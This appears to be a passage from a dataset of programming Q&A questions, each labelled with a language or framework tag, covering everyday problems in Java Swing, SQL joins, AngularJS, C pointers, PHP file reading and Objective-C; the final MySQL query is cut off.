calling aspnet membership resetpassword stored procedure  i would like to call the aspnet membership resetpassword stored procedure called: <code>aspnet_membership_resetpassword</code> within the <code>aspnetdb</code> database.    when i look at the <code>sqlmembershipprovider</code> class there is a resetpassword method but this is not useful as i cannot pass the parameter passwordformat as i can with the stored procedure.    can anyone advise how i can call this stored procedure explictly from the codebehind of an aspx page in c#,asp.net
jpanel cut off until resizing jframe  i m following <a href= https://www.youtube.com/watch v=vud5mo2jjhs  rel= nofollow noreferrer >this tutorial</a> on youtube for a java text game and i m having trouble with one of the panels. my choicebuttonpanel isn t displaying the right size until i manually resize the window with my cursor. it seems like it s getting cut off near the bottom of the window but when i resize it  it appears normally.   <pre><code>import java.awt.color; import java.awt.container; import java.awt.font; import java.awt.event.actionevent; import java.awt.event.actionlistener;  import javax.swing.jbutton; import javax.swing.jframe; import javax.swing.jlabel; import javax.swing.jpanel; import javax.swing.jtextarea;  public class game {      jframe window;     container con;     jpanel titlenamepanel  startbuttonpanel  maintextpanel  choicebuttonpanel;     jlabel titlenamelabel;     font titlefont = new font( radiometry   font.plain  100);     font buttonfont = new font( radiometry   font.plain  70);     font mainfont = new font( bell mt   font.plain  50);     jbutton startbutton  choice1  choice2  choice3  choice4;     jtextarea maintextarea;      titlescreenhandler tshandler = new titlescreenhandler();      public static void main(string[] args) {          new game();     }      public game() {         window = new jframe();         window.setsize(1200 1000);         window.setdefaultcloseoperation(jframe.exit_on_close);         window.getcontentpane().setbackground(color.black);         window.setlayout(null);         con = window.getcontentpane();          titlenamepanel = new jpanel();         titlenamepanel.setbounds(100  150  1000  200);         titlenamepanel.setbackground(color.black);         titlenamelabel = new jlabel( adventure game );         titlenamelabel.setforeground(color.white);         titlenamelabel.setfont(titlefont);          startbuttonpanel = new jpanel();         startbuttonpanel.setbounds(450  600  300  100);         startbuttonpanel.setbackground(color.black);          startbutton = new jbutton( start );         startbutton.setbackground(color.black);         startbutton.setforeground(color.white);         startbutton.setfont(buttonfont);         startbutton.setfocuspainted(false);         startbutton.addactionlistener(tshandler);          titlenamepanel.add(titlenamelabel);         startbuttonpanel.add(startbutton);          con.add(titlenamepanel);         con.add(startbuttonpanel);          window.validate();         window.setvisible(true);     }      public void creategamescreen() {          titlenamepanel.setvisible(false);         startbuttonpanel.setvisible(false);          maintextpanel = new jpanel();         maintextpanel.setbounds(200  200  800  250);         maintextpanel.setbackground(color.blue);         con.add(maintextpanel);          maintextarea = new jtextarea( this is the main text area. );         maintextarea.setbounds(200  200  800  250);         maintextarea.setbackground(color.black);         maintextarea.setforeground(color.white);         maintextarea.setfont(mainfont);         maintextarea.setlinewrap(true);         maintextarea.setwrapstyleword(true);         maintextpanel.add(maintextarea);          choicebuttonpanel = new jpanel();         choicebuttonpanel.setbounds(400  600  400  300);         //choicebuttonpanel.setsize(400 300);         //choicebuttonpanel.setlocation(400  600);         choicebuttonpanel.setbackground(color.red);         con.add(choicebuttonpanel);          choice1 = new jbutton();         choice1.setbackground(color.black);         choice1.setforeground(color.white);         choice1.setfont(mainfont);         choicebuttonpanel.add(choice1);          choice2 = new jbutton();         choice2.setbackground(color.black);         choice2.setforeground(color.white);         choice2.setfont(mainfont);         choicebuttonpanel.add(choice2);          choice3 = new jbutton();         choice3.setbackground(color.black);         choice3.setforeground(color.white);         choice3.setfont(mainfont);         choicebuttonpanel.add(choice3);          choice4 = new jbutton();         choice4.setbackground(color.black);         choice4.setforeground(color.white);         choice4.setfont(mainfont);         choicebuttonpanel.add(choice4);      }      public class titlescreenhandler implements actionlistener{         public void actionperformed(actionevent event) {              creategamescreen();         }     } } </code></pre>,java
android: center background of radio button  i need to use custom radio buttons with background image  and space them evenly horizontally  i can achieve the spacing but cannot position the background image in the center of each button. my layout is as below.     <pre><code>&lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      android:layout_width= match_parent      android:layout_height= 58dp &gt;       &lt;radiogroup         android:id= @+id/group_bottom_bar          android:layout_width= match_parent          android:layout_height= 52dp           android:orientation= horizontal &gt;          &lt;radiobutton             android:id= @+id/v4_btn_trip              style= @style/bottomtabbarbuttonstyle              android:button= @drawable/v4_tabbar_radio_trip  /&gt;          &lt;radiobutton             android:id= @+id/v4_btn_agenda              style= @style/bottomtabbarbuttonstyle              android:button= @drawable/v4_tabbar_radio_agenda  /&gt;          &lt;radiobutton                 android:id= @+id/v4_btn_favorite                  style= @style/bottomtabbarbuttonstyle              android:button= @drawable/v4_tabbar_radio_favorite  /&gt;          &lt;radiobutton                 android:id= @+id/v4_btn_settings                  style= @style/bottomtabbarbuttonstyle              android:button= @drawable/v4_tabbar_radio_settings  /&gt;      &lt;/radiogroup&gt;   &lt;/relativelayout&gt; </code></pre>   the style is per below:    <pre><code>&lt;style name= bottomtabbarbuttonstyle &gt;         &lt;item name= android:layout_width &gt;wrap_content&lt;/item&gt;         &lt;item name= android:layout_height &gt;wrap_content&lt;/item&gt;         &lt;item name= android:gravity &gt;center_horizontal&lt;/item&gt;         &lt;item name= android:layout_weight &gt;1&lt;/item&gt; </code></pre>   i already set the gravity to center_horizontal.    i tried to replace <code>android:button</code> with <code>android:background</code> but that just stretched the image.    one of the selector files (v4_tabbar_radio_trip)   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;selector xmlns:android= http://schemas.android.com/apk/res/android &gt;     &lt;item android:drawable= @drawable/ic_bottom_tab_trip_active  android:state_checked= true  android:state_pressed= true  /&gt;     &lt;item android:drawable= @drawable/ic_bottom_tab_trip_active  android:state_pressed= true  /&gt;     &lt;item android:drawable= @drawable/ic_bottom_tab_trip_active  android:state_checked= true  /&gt;     &lt;item android:drawable= @drawable/ic_bottom_tab_trip  /&gt; &lt;/selector&gt; </code></pre>   this is its current state. <strong>update:</strong> the expected output is that the background image (the two dots) is in the middle of the greyed area (which is the radio button)  not aligned to the left. similarly for other icons    <img src= https://i.stack.imgur.com/9bjby.png  alt= enter image description here >,android
is there a performance threshold value for dictionary<k  v> s count of items   i m creating a embed cache for my project which uses dictionary as internal storage. does dictionary have a performance threshold  like  under count of 10 000 000 keyvaluepair  it s add/get action performs best,.net
java: removing percent sign after printf formatting  i have the following code:   <pre><code>return string.format(  %.2f   result); </code></pre>   for some reason it is printing    <pre><code>37.00% </code></pre>   i do not want the percentage sign at the end of this. why is this occurring and how do i remove it,java
call a bootstrap modal and not a href  i need to make a pop up like this  but just with a picture: <a href= http://www.bootply.com/mrbjbq1jab#  rel= nofollow noreferrer >bootstrap pop up modal</a>    the modal has to go in the bottom on my website under  tekniske øvelser      the problem for me is that i have to make the modal code fit the below code here. the html code is calling some important classes  and also keeps the structure on my page. i can set in the image i want  but then the a href is called  where the modal has to be called.     does anybody has a good solution for that    <pre><code>&lt;div class= col-md-3 col-sm-6 col-xs-12 &gt;             &lt;article class= block-thumbnail &gt;                 &lt;a href= /courses/au-pensum/visualisering-og-projektkommunikation/tekniske-ovelser/tekniske-ovelser-2.pdf  class= block-thumb &gt;                     &lt;div class= block-image &gt;                         &lt;div class= overlay &gt;&lt;/div&gt;                         &lt;img  src= /images/thumbs/image4.jpg  data-toggle= modal  data-target= #mymodal4  alt= trolltunga  norway &gt;                      &lt;/div&gt;                 &lt;/a&gt;                 &lt;div class= block-data &gt;                     &lt;h3&gt;                         konceptuelt design                     &lt;/h3&gt;                 &lt;/div&gt;             &lt;/article&gt;         &lt;/div&gt; </code></pre>   futheron there is no arrow when i hover over the images.,html
how to query vacant rooms even it is marked as dismissed  i am having really bad trouble querying my vacant rooms  i have this query    <pre><code>select rooms.*        ty.*    from tbl_room rooms    join tbl_roomtype ty      on rooms.roomtypeid = ty.roomtypeid   where rooms.roomid not in            (select t1.roomid               from tbl_room t1               join tbl_reservationext t2                 on t1.roomid = t2.roomid               join tbl_reservation rr                 on t2.reservationid = rr.reservationid              where not( $date_to  &lt; rr.checkin_datetime                         or ( $date_from  &gt; rr.checkout_datetime)                       )           ) </code></pre>   this query works fine  but it doesn t query those reservations marked as dismissed.     i tried putting some and rr.status !=  dismissed  but still doesn t work.     could someone help me.,mysql
mysql - join troubles  i have two tables : <code>tracklist(trackid artist event date)</code> and <code>radded(trackid  user)</code> with relation 1 to n (trackid are the keys on each table).    i would like to return the whole tracklist table  by adding a new field called <code>exist</code> that should be 1 or 0 if a user (passed trought the query) exist on the radded table for the related trackid for each row.    example :    <strong>tracklist</strong>   <pre><code>*trackid artist event date* 123      art1   eve1  date1 321      art2   eve2  date2 456      art3   eve3  date3 298      art4   eve4  date4 565      art5   eve5  date5 </code></pre>   <strong>radded</strong>   <pre><code>trackid user 123     luigi 123     mario 321     luigi 298     mario 298     antonio </code></pre>   if i use the <em>luigi</em> as user  the output must be :   <pre><code>123 art1 eve1 date1 1 321 art2 eve2 date2 1 456 art3 eve3 date3 0 298 art4 eve4 date4 0 565 art5 eve5 date5 0 </code></pre>   how can i do this query,mysql
xml parsing error 64  i am trying to parse the xml response to get url but am getting error     error domain=nsxmlparsererrordomain code=64  the operation couldn’t be completed. (nsxmlparsererrordomain error 64.)   i am trying parse the following xml:---    jigbaa**b48c979b12f0a471d2160b46fffffe71https://signin.sandbox.ebay.com/ws/ebayisapi.dll signin&amp;runame=viddygo-viddygo34-3a68--nqdmxqyiq&amp;sessid=jigbaa%2a%2ab48c979b12f0a471d2160b46fffffe71    if i copy it and put  /  before every double quotes and trying to pass while putting in a string directly it works..but at run time it is giving error,objective-c
first  simple  audio player appication  can anybody please tell me how to implement an audio player application in an iphone  i am pretty new to iphone development and i am just starting to learn the tricks of the trade.    ps:i need sample code!,iphone
angular 1.4.0 and selects: i don t understand the breaking change  yesterday angular 1.4.0 was released.<br> the changelog states that there is a breaking change with  selects .    i used to use selects like this:    controller code:   <pre><code>// default initial selection $scope.filters = {     somefilter: false }; </code></pre>   view code:   <pre><code>&lt;div class= form-group &gt;     &lt;label&gt;filter...&lt;/label&gt;     &lt;select class= form-control input-sm  ng-model= filters.somefilter &gt;         &lt;option value=  &gt;&lt;/option&gt;         &lt;option value= true &gt;is true&lt;/option&gt;         &lt;option value= false &gt;is false&lt;/option&gt;     &lt;/select&gt; &lt;/div&gt; </code></pre>   and the select would start with the option  is false  selected.    now  with angular 1.4.0  that is not the case:<br> the selected option is  blank . i see two blanks in the rendered view (instead of one  as i did before)    how do i fix this,angularjs
c# object cast to dictionary<string  object>  my method   <pre><code>parms.validationobject = new { validations = new dictionary&lt;string  object&gt;() { { parms.jsonobjectname  modelvalidations } } };     return parms.validationobject; </code></pre>   where <code>validationobject</code> is <code>object</code> type    later on i call this method   <pre><code>var modelvalidations = new dictionary&lt;string  object&gt;(); var validations = getvalidations(nextparms); modelvalidations = modelvalidations.concat(validations).todictionary(x =&gt; x.key  x =&gt; x.value); </code></pre>   but i get   <blockquote>    cannot convert from  object  to  system.collections.generic.ienumerable>   </blockquote>   simple cast to <code>dictionary&lt;string  object&gt;</code> does not work. what can i do,c#
jquery function difference  what is the difference between    <pre><code>$(document).ready(function() {     //some code here }); </code></pre>   and   <pre><code>$(function() {     //some code here }); </code></pre>   i feel that they use for the same purpose.,jquery
loading data from text file from only a part of the file name  i have a lot of data in different text files. each file name contains a word that is chosen by me  but they also include a lot of  gibberish . so for example i have a text file called <code>datapoints-(my chosen name)-12iu8w9e8v09wr-140-ad92-dw9</code>    so the <code>datapoints</code> string is in all text files  the <code>(my chosen name)</code> is what i define and know how to extract in my code  but the last bit is random. and i don t want to go and delete that part in every text file i have  that would be a bit time consuming.     i just want to load these text files  but i m unsure of how to target each file without using the  gibberish  in the end. i just want to say something like:  load file that includes (my chosen name)  and then not worry about the rest.,python
how does keys type work   i m using <code>keys</code> type to detect pressed keys.    at some place i do comparison like this:   <pre><code>if (keydata == keys.control) //do something </code></pre>   where <code>keydata</code> is the key pressed of type keys    however <code>keydata</code> contains   <pre><code>controlkey | control </code></pre>   so of course comparison doesn t work because <code>keys.control</code> contains only <code>control</code>.    so what is the correct way to compare them,c#
jquery alternatives to .load  i want to use jquery to grab a file and load it into a div on a click command. i know that i can do this with load but....    i want to be able to regenerate the same content as many times without clearing the last instance of it. can anyone recommend another jquery call to do this,jquery
map(function  sequence) where function returns two values  look at the following python code:   <pre><code>def function(x):     return x  x+1  sequence = range(5)  map(function  sequence) </code></pre>   this returns   <pre><code>[(0 1)  (1 2)  (2 3)  (3 4)  (4 5)] </code></pre>   i want to get the output   <pre><code>[0  1  2  3  4]  [1  2  3  4  5] </code></pre>   that means  i want to get the two outputs of function into two different lists. can i achieve this without looping over my lists     in the real code i will not have lists of integers  but of class instances. so i might get some copy/deepcopy issues  which i would like to avoid.,python
why is there no iqueue<t> or istack<t> interface in the .net framework   i wanted to write an object that operated on a queue-like interface. i went searching for <code>iqueue&lt;t&gt;</code>  but came back surprisingly empty-handed.    there are the following collection-related interfaces:   <ul> <li><code>icollection&lt;t&gt;</code></li> <li><code>ilist&lt;t&gt;</code></li> <li><code>idictionary&lt;tkey tvalue&gt;</code></li> <li><code>iset&lt;t&gt;</code></li> </ul>   what made these types of collections get well-defined interfaces  why do stacks and queues not warrant an interface,.net
how to have a window pop up when progress bar finishes in c#  i have seen a similar answer but it s not in c# so i decided to ask this question. <a href= https://gyazo.com/3ff6efd90fa390cd1f071b693027fcd3  rel= nofollow noreferrer >https://gyazo.com/3ff6efd90fa390cd1f071b693027fcd3</a> after it reaches that point i want a window to pop up which says  successfully loaded... . the timer interval i have set is 50 if that helps. this is the code:   <pre><code>private void button1_click(object sender  eventargs e)     {         this.timer1.start();     }  private void progressbar1_click(object sender  eventargs e)     {      }  private void timer1_tick(object sender  eventargs e)     {         this.progressbar1.increment(1);     } </code></pre>,c#
use c++ to call a program  received partial results on the screen and conditionally terminate it  currently  i have a c++ program to call an external program  wait for it to finish  and return the string that was supposed to print on the screen by the external program;   <pre><code>string result_now=exec( ./ccls_to_akmaxsat  +softer_filename);  std::string exec(std::string command) {     //cout &lt;&lt;  \n\nevaluating command:   &lt;&lt; command &lt;&lt;  \n\n  &lt;&lt; endl;     const char* cmd = command.c_str();     file* pipe = popen(cmd   r );     if (!pipe) return  error ;     char buffer[256];     std::string result =   ;     while(!feof(pipe)) {         if(fgets(buffer  256  pipe) != null)             result += buffer;     }     pclose(pipe);     return result; } </code></pre>   and here is the output:   <pre><code>c this is the ccls_to_akmaxsat solver  version: maxsat evaluation 2014 (2014.03.28) c many thanks to the akmaxsat team! c start ccls c stop ccls c start akmaxsat c initialized bestcost to 924115047 o 924115047 c first lower bound: 850209662 c 3406 branches 129 propagates c total generalized unit propagation = 6941  success = 49.07% s optimum found c optimal solution = 924115047 v -60 -58 -56 -54 52 50 48 46 44 42 40 38 36 34 32 30 28 -26 -24 -22 -20 -18 -16 -14 -12 -10 -8 -6 -4 -2 21 23 -25 -27 -29 -31 -33 -35 -37 -39 -41 -43 -45 -47 -49 -51 -53 -55 -57 59 19 17 15 13 11 9 7 5 3 1 c stop akmaxsat </code></pre>   however  if i see that the lower bound is larger than some value. i no longer want to spend time waiting for the program to finish  rather i would terminate the program and provide some information back to my main c++ solver. how do i achieve this  or if you have some very related tutorials  please don t hesitate to tell me. thank you.,c++
comparison between pointer and integer warning  when i attempt to compare a pointer array (which initially is null) and char pointer:   <pre><code>int main(int argc  char **argv){         char **list = (char**)malloc(20*sizeof(char)+1);     char *input =  la li lu le lo ;       if(*list[0] != input[0]) { //or if(list[0][0]!=input[0])         printf( false: %s   strdict[0]);     } } </code></pre>   i constantly get a warning:   <blockquote>    comparison between pointer and integer  </blockquote>   what must be done to remove this warning  if i modify it to be:   <pre><code>if(*list[0] != input[0]) </code></pre>   the warning is removed  yet the program crashes. thanks for your help in advance.,c
created a database and join code won t return results  i created a database and i am trying to run code for a join. i don t receive any errors  but it also doesn t return any results. below is the code i have come up with including the rows i have inserted into the tables.    <pre><code>insert into users(emailaddress  firstname  lastname) values     ( johnsmith@gmai[enter image description here][1]l.com    john    smith )      ( janedoe@yahoo.com    jane    doe )  insert into downloads(filename  downloaddate) values     ( pedals_are_falling.mp3   getdate())      ( turn_signal.mp3   getdate())      ( one_horse_town.mp3   getdate())  insert into product(productname) values     ( local music vol 1 )      ( local music vol 2 )  select emailaddress as email_address          firstname as first_name         lastname as last_name         downloaddate as download_date          filename          productname as product_name from downloads join users on downloads.userid = users.userid join product  on product.productid = downloads.productid order by emailaddress; </code></pre>,sql
how to load an image and text beside that image using angularjs  i m able to load all the 5 images in a div.now i m trying to add text beside each image respectively.suppose if the image is crop.i m trying to add crop text beside that image using angularjs.how can i achieve this.can anyone please help me out regarding this issue ...    my html code:   <pre><code>&lt;div style= margin-top: 4px; &gt;                     &lt;img width=30 height=50 style= margin-left: 12px;                          ng-repeat= generalimage in generalimages track by $index                          ng-src= {{generalimage}} &gt; &lt;/img&gt;                 &lt;/div&gt; </code></pre>   my js code:   <pre><code>$scope.generalimages = [];     $scope.generalimages.push( images/undo.png );     $scope.generalimages.push( images/resize.png );     $scope.generalimages.push( images/rotate.png );     $scope.generalimages.push( images/resolution.png );     $scope.generalimages.push( images/crop.png ); </code></pre>,angularjs
scanning multiple line data from .txt file into struct array  i have a text file where info looks like this:   <pre><code>he he 5 5 5 5 5 5 5 5 5 5 5  ne ne 5 5 5 5 5 5 5 5 5 5 5 </code></pre>   and i can keep adding to it. what i want to do is have a function that reads that info and puts in into struct array  but i m having trouble with pointers and figuring out how to read one line  then next one etc. i m aware function that reads atm is broken  i tried bunch of stuff and could not figure it out. sorry if its a bit silly question.    source.c   <pre><code>int main(void) { int opcija=0; u *ucenici=null;    while(opcija !=4){     printf( odaberite opciju:\n 1.stvaranje datoteke ucenici.txt\n 2.upisivanje novog ucenika\n 3.pregled ucenika\n 4.izlaz iz programa\n );     scanf( %d   &amp;opcija); switch (opcija) { case 1:     kreiranje();     break;  case 2:     dodavanje();     break; case 3:     void citanje1(u *ucenici);     int j=brojanjelinija();     for (int i = 0;i &lt; j; i++) {         printf( %d. %s %s\n   i + 1  ucenici[i].ime  ucenici[i].prezime);     } }   } return 0; }     void citanje1(u **ucen) {     file* pok = null;     pok = fopen( ucenici.txt    r );     int broj = brojanjelinija();     ucen = (u**)malloc(broj * sizeof(u*));     for (int i = 0;i &lt; broj;i++) {         fscanf(pok   %s %s %d %d %d %d %d %d %d %d %d %d %d \n   ucen[i]-&gt;ime  ucen[i]-&gt;prezime  ucen[i]-&gt;dan  ucen[i]-&gt;mjesec  ucen[i]-&gt;godina  ucen[i]-&gt;mat  ucen[i]-&gt;hrv  ucen[i]-&gt;eng  ucen[i]-&gt;hidr  ucen[i]-&gt;fiz  ucen[i]-&gt;term  ucen[i]-&gt;oet  ucen[i]-&gt;tehmat);     }      free(ucen); } </code></pre>   header.h   <pre><code>#ifndef header_h #define header_h    typedef struct ucenik{     char ime[10];     char prezime[10];     int* dan;     int* mjesec;     int* godina;     int* mat;     int* hrv;     int* eng;     int* hidr;     int* fiz;     int* term;     int* oet;     int* tehmat;  }u; void kreiranje(void); void dodavanje(); int brojanjelinija(); void citanje1(u); #endif // header_h </code></pre>,c
find the position of the first occurrence of a character in a string after a specific position  i would like to find the position of the first point after the @ character:   <pre><code>blabla jim@gmail.com blabla.bla bla </code></pre>   i know that the @ is at position 54  so the result would be 60.,php
maintain state of a asp panel control on postback  i have a web page on click event of a button  x  a panel with some controls get loaded and on the same page i have an another button y   on clicking second button page is again loading and my panel control is no longer visible again if i click x its getting loaded if i click y as page is posted back entire panel is not visible so kindly help in maintaining state of a panel control on postback.,asp.net
eric lippert and neal gafter c# puzzle  this puzzle was presented at ndc 2010. there are links to video from there  but they are all broken. i don t understand the behavior of this program; why does it hang    <pre><code>class woot {     private static float pi;     private static bool initialized = doinitialize();      private static bool doinitialize()     {         if (!initialized)         {             var thread = new thread(() =&gt; { pi = 3.14f; });             thread.start();             thread.join(); // here         }         return true;     }      public static void main(string[] args)     {         console.writeline(pi);     } } </code></pre>  <blockquote>    what is the output of this program  is it:       <ul>   <li>3.14</li>   <li>0  </li>   <li>throws exception  </li>   <li>none of the above</li>   </ul> </blockquote>,c#
what is similar to change_tracking_is_column_in_mask in cdc   i am working on an application to synchronize data.  we decided to use cdc in place of ct because we need more information  but at the same time we need a function which return the column which changing affects it something like this using ct:   <pre><code>select  cttable.sys_change_operation  [fnamech] = change_tracking_is_column_in_mask(columnproperty(object_id( contact_table )                  contact_name    columnid )  sys_change_columns)  [lnamech] = change_tracking_is_column_in_mask(columnproperty(object_id( contact_table )           contact_lastname    columnid )  sys_change_columns)   from changetable (changes contacts  @versionid) as cttable  left outer join contacts as c on c.contact_id = cttable.contact_id go </code></pre>   edit:    <pre><code>select *   sys.fn_cdc_has_column_changed ( dbo_contact_table    contact_name   __$update_mask) as fnamech   from   cdc.fn_cdc_get_all_changes_dbo_contact_table(@start_lsn @end_lsn  all ) which 1 for if the contact_name is changed and 0 if is not. </code></pre>   thanks,sql
how to disable the row of the grid view  ghyath i am doing in rowdatabound control only but the thing is that whenever i disabled 3rd row of the 1st page it automatically disable the 3rd row of 2nd  3rd  4th..... page which i dnt want,asp.net
how do i change page title based on heading   i would like to change the title of my page based on the name of     for example  <code>&lt;h1&gt;lorem imsum&lt;h1&gt;</code>  would set the page title to <code>lorem ipsum</code>,html
for loops  and reading strings from a text file  not working  it s hard for me to explicitly state my exact issue  but i ll try to explain the best i can.     (sorry for the long post)    i have lines in a file called singles.txt that look like this.   <pre><code>ada lovelace f 96 istj linux 24 99 adele goldberg f 65 enfj windows 50 70 alan turing m 41 estp mac os x 31 50 </code></pre>   in this scenario i have a user  whos name  etc. is in this file aswell as many others. i first loop over the file to find the user s info inside the file so that i can then reference their info via variables. after this i loop over the file again  to start comparing the user s info to others found in the file. i have an if statement inside this for loop that repeats a certain div for everytime the condition is for the if statement is met. for some reason when i load the page it doesn t repeat the div at all. hopefully my code can explain my problem more than i can.   <pre><code>$name = $_get[ name ];  &lt; php&gt; $singles = file( singles.txt );  for($i = 0; $i &lt; count($singles); $i++){ $searchsingle = explode(     $singles[$i]);  if($searchsingle[0] == $name){     $yougender = $searchsingle[1];     $youage = $searchsingle[2];     $youperson = $searchsingle[3];     $youos = $searchsingle[4];     $youmin = $searchsingle[5];     $youmax = $searchsingle[6];     } }  for($i = 0; $i &lt; count($singles); $i++){ $searchsingle = explode(     $singles[$i]);  if($yougender !== $searchsingles[1]  &amp;&amp; $youos == $searchsingle[4]  &amp;&amp; $youmin &gt;= $searchsingle[2]  &amp;&amp; $youmax &lt;= $searchsingle[2]){       $theirname = $searchsingle[0];     $theirage = $searchsingle[2];     $theirgender = $searchsingle[1];     $theiros = $searchsingle[4];     $theirperson = $searchsingle[3];  &gt; </code></pre>   the div to be repeated. (occurs right after the previous code)   <pre><code>&lt;div class= match &gt; &lt;p&gt; &lt;img src= user  alt= single &gt; &lt; php echo $theirname  &gt; &lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;strong&gt;gender: &lt; php echo $theirgender  &gt; &lt;/strong&gt;&lt;/li&gt; &lt;/br&gt; &lt;li&gt;&lt;strong&gt;age: &lt; php echo $theirage  &gt; &lt;/strong&gt;&lt;/li&gt; &lt;/br&gt; &lt;li&gt;&lt;strong&gt;type: &lt; php echo $theirperson  &gt; &lt;/strong&gt;&lt;/li&gt; &lt;/br&gt; &lt;li&gt;&lt;strong&gt;os: &lt; php echo $theiros  &gt; &lt;/strong&gt;&lt;/li&gt; &lt;/br&gt; &lt;/ul&gt; &lt;/p&gt; &lt;/div&gt;  &lt;/body&gt; &lt; php     } }  &gt; </code></pre>,php
why nsmutabledictionary s setvalue:forkey doesn t work  i want to write a timer class that records average elapsed time of a function. so i want to save how many times the function is ran. but the item in dictionary isn t changed.    here is my code:   <pre><code>@implementation timer {     nsdate *starttime;     // nsstring *item;     nsmutabledictionary *itemcounts;     nsmutabledictionary *itemtimes;  }  - (void)tic {     starttime = [nsdate date]; } - (void)tocwithmessage:(nsstring*)message {     if (itemcounts[message] == nil) {         // itemcounts[message] = @1;         [itemcounts setvalue:@1 forkey:message];         nslog(@ %d   [itemcounts[message] integervalue]);     } else {         itemcounts[message] = @([itemcounts[message] integervalue] + 1);     }     double totaltime = [itemtimes[message] doublevalue];     double thistime = -[starttime timeintervalsincenow] * 1000;     totaltime += thistime;     itemtimes[message] = @(totaltime);     int count = [itemcounts[message] integervalue];     double averagetime = totaltime / count;     nslog(@ %@: no.%d  average time: %lfms   message  count  averagetime);     // std::cout &lt;&lt; message &lt;&lt;  :   &lt;&lt; 1. * (clock() - timertimestamp) / clocks_per_sec * 1000 &lt;&lt;  ms  &lt;&lt; std::endl; }  @end </code></pre>   but the itemcounts[message] is always nil. please help me :)    thanks in advance!,objective-c
evaluate an expression in angularjs template  i have a little problem with an angularjs template i would like to evaluate something like this :   <pre><code>&lt;span&gt;{{myobject[prop]}}&lt;/span&gt; </code></pre>   when i have a controller such like this :   <pre><code>$scope.myobject = { code:  1   value:  foo  }; $scope.prop =  value ; </code></pre>   in fact  i would like to dynamically retrieve a property of an object in a template. here i would like to bind  myobject.value .    thanks for your help !,angularjs
how to display results of a sql query on screen  i am trying to write a simple app just to display on screen the results on a sql query.   <pre><code>public class contactlookup extends activity {     /** called when the activity is first created. */     @override     public void oncreate(bundle savedinstancestate) {          super.oncreate(savedinstancestate);          setcontentview(r.layout.main);          cursor c = getcontentresolver().query(contactscontract.contacts.content_uri                   null  null  null  null                 );     } } </code></pre>   how exactly do i print the results of the cursor   everything i find goes into to way more detail then i need at the moment...  i just want to know how to get that variable printed on screen.,android
is there a method that was called every time a uiview was show   i m writing a calendar app  now i have weekview  weekviewcontroller  dayview  dayviewcontroller  monthview  monthviewcontroller.    what i want to do is that: when you select a date in any view  then switch to another view  i want the new view will show the same date  too.     i ve managed to share the selected date among the controllers  but i don t know how to tell the view update their content every time they show,iphone
how does this mysql query works   i m trying to understand how mysql queries work with and without group by.     imagine i have a table of film_actors  where each actor_id has a corresponding film_id. so the same actor participates in n different movies.    i want to select the actors that participate 20 movies:   <pre><code>select actor_id from film_actor group by actor_id having count(film_id) = 20; </code></pre>   this query works and returns the actor_ids that participate in 20 movies. but what if i just did:   <pre><code>select actor_id from film_actor having count(film_id) = 20; </code></pre>   why does this query only returns values if i equal it to the size of film_actor table (5463):   <pre><code>select actor_id from film_actor having count(film_id) = 5463; </code></pre>   in this case it returns me actor_id = 1. why  is it selecting film_ids without considering the corresponding actor_ids,mysql
strip a class after jquery ui droppable  i am trying to figure out how to strip a class after it has been dropped on the correct area. it s then used in a countdown. this is a class added in html and not part of ui.   <pre><code>drop: function(event  ui)     {         followon(draggeditem)          $( this ).droppable(  option    disabled   true ).css( background-color    green ).draggable(  option    disabled   true )          $( ui.draggable ).remove(draggeditem)     } </code></pre>   i don t quite understand the comma separated commands used here. it seems anything after the disabled option gets ignored but if i remove the class before it  it errors out. using remove() gets rid of the whole div.,jquery
how to configure iis first time for any web app   i have a website made in asp.net .currently is being opened directly with visual studio. now i want this to be opened with localhost with iis features enabled.    i need steps to make this website totally iis enabled,asp.net
invalid operands to binary expressions ( id  and  int )  i m using the gpuimage framework to take the average red values of some camera input. i m storing all of the average red values in an array  and i m trying this:   <pre><code>nsmutablearray *redvalues = [nsmutablearray array]; __block int counter = 0;  gpuimagevideocamera *videocamera = [[gpuimagevideocamera alloc] initwithsessionpreset:avcapturesessionpreset640x480 cameraposition:avcapturedevicepositionback]; videocamera.outputimageorientation = uiinterfaceorientationportrait;  gpuimageaveragecolor *averagecolor = [[gpuimageaveragecolor alloc] init]; [averagecolor setcoloraverageprocessingfinishedblock:^(cgfloat redcomponent  cgfloat greencomponent  cgfloat bluecomponent  cgfloat alphacomponent  cmtime frametime)  {      nslog(@ %f   redcomponent);      [redvalues addobject:@(redcomponent)];               counter++;  }];  for (int i = 0; i &lt; counter; i++) {     redvalues[i] *= 255; // errors occurs here } </code></pre>,objective-c
selecting items with same name and adding each value the line holds  i am trying to retrieve data for a line and each line in the table has different unit sold value. i want to sum up the values and distinct the item <code>descr</code>.    i used the following code    <pre><code>select distinct s.descr  sum(s.unitqty) from saleslines s </code></pre>,sql
mysql query error select list is not in group by clause and contains nonaggregated column  i am using pentaho reporting and i have a query in my report  my query work on my local computer but when i try to deploy my application to server i get this error..    i am using mysql 5.6   <pre><code>    28-nov-2016 09:47:38.490 info [localhost-startstop-1] org.apache.catalina.startup.hostconfig.deploywar deployment of web application archive /root/apache-tomcat-8.5.5/webapps/root.war has finished in 44 957 ms 28-nov-2016 09:47:38.496 info [main] org.apache.coyote.abstractprotocol.start starting protocolhandler [http-nio-80] 28-nov-2016 09:47:38.502 info [main] org.apache.coyote.abstractprotocol.start starting protocolhandler [ajp-nio-8009] 28-nov-2016 09:47:38.504 info [main] org.apache.catalina.startup.catalina.start server startup in 45038 ms error org.pentaho.reporting.engine.classic.core.layout.output.abstractreportprocessor - 48154607: report processing failed. org.pentaho.reporting.engine.classic.core.reportdatafactoryexception: failed at query: select id  ifnull(sum(debet) - sum(kredit) 0) as saldoawal2 from (  select     g.id       g.code      a.trx_date      if(a.trx_type = 1 or a.trx_type = 2  a.relation if(a.trx_type = 3 e.name if(a.trx_type = 4 f.name  b.amount))) as relasi       a.trx_no       b.dt      if(b.dt =  d   b.amount   0) as  debet       if(b.dt =  k   b.amount   0) as  kredit  from transaksi_kas_detail b           inner join transaksi_kas a  on a.id = b.transaksi_kas_id      left outer join customer e on a.customer_id = e.id      left outer join supplier f on a.supplier_id = f.id      left outer join invoice c on b.sales_invoice_id = c.id      left outer join purchase_invoice d on b.purchase_invoice_id = d.id        left outer join account g on b.account_id = g.id where g.id !=      union   select      d.id      d.code      a.invoice_date as trx_date      b.name as relasi      a.invoice_no as trx_no       d  as dt      a.total_amount as debet      0 as kredit from     invoice a     left join customer b on  a.customer_id = b.id     